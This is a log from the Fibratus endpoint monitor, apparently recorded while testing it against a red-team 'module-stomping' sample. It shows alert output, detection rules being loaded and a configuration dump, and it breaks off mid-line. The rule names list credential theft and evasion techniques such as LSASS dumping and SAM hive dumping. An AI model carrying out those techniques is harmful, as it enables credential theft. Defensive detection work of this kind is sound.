Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T18:10:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T18:10:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:10:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:10:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:10:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T18:10:22+01:00 level=info msg=bootstrapping with pid 12580. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T18:10:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-image=>true enable-thread=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-handle=>false enable-audit-api=>true enable-dns=>false min-buffers=>16 max-buffers=>36 enable-registry=>true enable-threadpool=>false enable-fileio=>true flush-interval=>1s stack-enrichment=>true enable-mem=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true level=>info max-backups=>15 max-size=>100] + output ......................... [ http=>[ enable-gzip=>false timeout=>5s endpoints=>[] enabled=>false serializer=>json method=>POST tls-insecure-skip-verify=>false] elasticsearch=>[ sniff=>false flush-period=>1s healthcheck-timeout=>5s index-name=>fibratus bulk-workers=>1 trace-log=>false template-name=>fibratus healthcheck=>true timeout=>5s healthcheck-interval=>10s enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200]] amqp=>[ passive=>false durable=>false vhost=>/ enabled=>false delivery-mode=>transient exchange=>fibratus exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true excluded-files=>[] skip-mmaps=>false excluded-procs=>[] skip-registry=>false skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-11T18:10:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:10:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:14:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T18:14:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:14:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:14:10+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T18:14:10+01:00 level=info msg=loading rule from 